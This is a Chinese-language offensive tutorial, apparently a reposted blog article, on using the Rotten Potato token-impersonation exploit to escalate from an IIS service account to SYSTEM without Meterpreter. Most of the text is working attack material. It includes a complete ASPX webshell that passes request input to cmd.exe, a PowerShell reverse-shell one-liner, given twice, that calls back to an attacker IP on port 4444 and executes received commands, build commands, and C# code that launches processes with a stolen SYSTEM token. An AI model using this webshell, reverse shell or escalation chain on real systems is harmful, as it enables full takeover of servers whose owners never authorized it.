有了Rotten Potato,我再也不需要Meterpreter了

 

写在前面的话

如果你之前没听说过Rotten Potato的话,请大家在阅读本文之前先看看这篇有关使用Rotten Potato实现服务帐号提权的【文章】。
它的实现机制可谓是相当复杂,它允许我们拦截NTLM认证挑战请求并伪造目标用户的安全访问令牌,而这个过程发生在DCOM激活过程中(目标用户账号需要运行BITS-后台智能传输服务服务实例)。
访问令牌是什么?它是一种用来描述Windows进程或线程安全状态的对象,它跟会话Cookie有些类似。
而我们所需要的就是一个拥有相应权限的进程。一般来说,用户所运行的SQL server服务或者ISS服务都会拥有这种权限,所以如果我们能够拿到这些系统中的Shell或者在其中实现命令执行,那我们就成功了一半了。更加搞笑的是,微软并没有修复这个安全问题,可能他们认为这也是一种“专门设计的功能”吧…
我并不打算在本文中跟大家深入讨论技术细节方面的内容,我只想告诉大家如何在不依赖于Meterpreter以及incognito模块的情况下去使用这个PoC。

 

PoC利用

首先,我们需要在Windows(Windows 7-Windows 2016均可)上安装IIS,,然后将“command”.aspx页面(代码在下面给出)拷贝到webroot目录之中。
下面给出的是一份简单的脚本代码:

< %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">

<script runat="server">
Function RunCmd(command)
Dim res as integer
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=”/c “ + command
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
RunCmd= MyString
End Function
</script>

<html>

<body>

<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>

< %
if request(“cmd”) <> “” then
response.write(“

<pre>“+ RunCmd(request(“cmd”))+ “</pre>
“)
end if
%>
</body></html>

Webshell正常工作,具体如下图所示(ISS默认的apppool):

我们所拥有的权限信息如下所示(whoami/priv):

我们已经拿到了我们所需要的权限,而剩下的就是拿到一个交互式的反向Powershell:

powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (IEX $d 2>&1 | Out-String );
$sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sby = ([text.encoding]::ASCII).GetBytes($sb2);
$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()”


非常好,我们的反向Shell也能够正常运行。

接下来,我们需要从GitHub代码库【传送门】中下载Rotten Potato PoC(C#),然后在Visual Studio中打开项目代码。

打开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:

其中的mygetuser()函数告诉我们,我们现在已经是“SYSTEM”了,如果我们直接在Meterpreter会话中运行我们的漏洞利用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特殊用户了。

但是我们的要求是避免使用Meterpreter,所以我们需要用不同的方法来实现这个目标。

首先,我们需要确保一切都能够正常运行,因此我们需要添加一下自定义代码:

为了得到SYSTEM令牌,我们需要调用QuerySecurityContext() API,然后在新的状态下伪造令牌。接下来,我们还需要尝试在目录c:windows下创建一个子目录。

完成了整个项目的编译之后,我们需要使用ILMerge.exe来创建一个单独的可执行程序。如果你选择的是Framework 3.5版本以上的平台,别忘了修改代码中的 .NET框架版本。可供参考的样本代码如下所示:

ILMerge.exe Potato.exe NHttp.dll

SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll

/out:myrotten.exe

/targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”

这里我就不介绍如何将生成的可执行程序上传到c:windowstemp目录中了,因为你应该知道怎么用PowerShell的反向Shell来完成上传了吧?

如果一切顺利的话,你应该可以通过启动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。

非常好,我们的漏洞利用PoC可以成功运行了,接下来我们继续往下看。

我们的策略如下:

其实我们并不需要跟“incognito“进行交互,我们准备通过命令行来启动一个新的进程,然后伪装成SYSTEM用户。

首先,我们需要对Program.cs的Main()函数进行一些调整:

我们需要在公共静态字符串CmdLine中存储我们将要调用的程序名称,例如一个反向PowerShell。

接下来就是最重要的部分了,那么为了使用SYSTEM令牌生成一个新的进程,我们需要调用哪一个Windows API呢?

思考片刻之后,我们设计出了以下两种备选方案:

方案一

BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

方案二

BOOL WINAPI CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInfo
);

这些函数其实都是差不多的,它们都接受令牌来作为输入参数。但它们的主要区别在于:

CreateProcessWithTokenW()使用起来限制更少一点,因为它只需要SeImpersonate权限。但是,它似乎无法在Session 0(我们的shell运行在其中,因为我们是从IIS服务中启动的shell)中正常工作。

CreateProcessAsUser()同样需要SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中运行。
因此,对于我们来说,我们当然要选择CreateProcessAsUser()了。

我们需要设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。

public class MyProcess
 {
  [StructLayout(LayoutKind.Sequential)]
  public struct PROCESS_INFORMATION
  {
    public IntPtr hProcess;
    public IntPtr hThread;
    public Int32 dwProcessID;
    public Int32 dwThreadID;
   }
  [StructLayout(LayoutKind.Sequential)]
  public struct SECURITY_ATTRIBUTES
  {
    public Int32 Length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
  }
  [StructLayout(LayoutKind.Sequential)]
  public struct STARTUPINFO
  {
    public Int32 cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public Int32 dwX;
    public Int32 dwY;
    public Int32 dwXSize;
    public Int32 dwXCountChars;
    public Int32 dwYCountChars;
    public Int32 dwFillAttribute;
    public Int32 dwFlags;
    public Int16 wShowWindow;
    public Int16 cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
  }
 
[DllImport("advapi32.dll",
 EntryPoint = "CreateProcessAsUser", SetLastError = true,
 CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)
]
 
public static extern bool
 CreateProcessAsUser(IntPtr hToken,
string lpApplicationName, string lpCommandLine,
      ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
      bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment,
      string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,
      ref PROCESS_INFORMATION lpProcessInformation);
}
 . . . .
 
public bool RunMyProcessAsUser(IntPtr hToken)
 {
 
   MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
   MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
   MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO();
   try
   {
     sa.Length = Marshal.SizeOf(sa);
     si.cb = Marshal.SizeOf(si);
     si.lpDesktop = String.Empty;
     bool result = MyProcess.CreateProcessAsUser(
                   hToken,
                   Program.CmdLine,
                   String.Empty,
                   ref sa, ref sa,
                   false, 0, IntPtr.Zero,
                   @"C:\", ref si, ref pi
                   );
 
     if (!result)
     {
          int error = Marshal.GetLastWin32Error();
          Console.WriteLine(String.Format("RunMyProcess Error: {0}", error));
         return false;
      }
      Console.WriteLine("Executed:" + Program.CmdLine);
      Process currentProcess = Process.GetCurrentProcess();
  }
  finally
  {
      if (pi.hProcess != IntPtr.Zero)
      MyProcess.CloseHandle(pi.hProcess);
      if (pi.hThread != IntPtr.Zero)
       MyProcess.CloseHandle(pi.hThread);
   }
 return true;
 }

声明完必要的数据结构以及API调用之后,我们则需要调用CreateProcessAsUser()来传递必要的参数,首先就是我们的令牌,其次是需要执行的命令以及某些默认配置值。需要提醒大家的是,我们的工作目录为C:。

正如你所看到的那样,在创建进程之前,我们不打算通过调用DuplicateTokenEx()函数来拷贝我们的令牌,因为我们没必要这样做。

我们将在下面代码中调用我们的函数:

现在,我们需要把所有的东西整合起来进行编译,并对我们的成果进行测试。但是在开始之前,我们要把我们的rev.bat上传到c:\windows\temp目录中。

powershell -nop -c
“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()”

接下来就是见证奇迹的时刻了!

在PS反向Shell(IIS用户)中,我们能够调用我们的myrotten.exe了:

我们的监听控制台情况如下所示:

终于成功啦!

 

总结

正如你所看到的那样,在这篇文章中我只跟大家介绍了如何让相关代码正常工作,大家也可以根据自己的需要来修改项目代码(C#),也欢迎有能力的同学们可以去本项目的GitHub上贡献自己的代码。

本文由 华盟网 作者:AlexFrankly 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论

// 360自动收录 // 360自动收录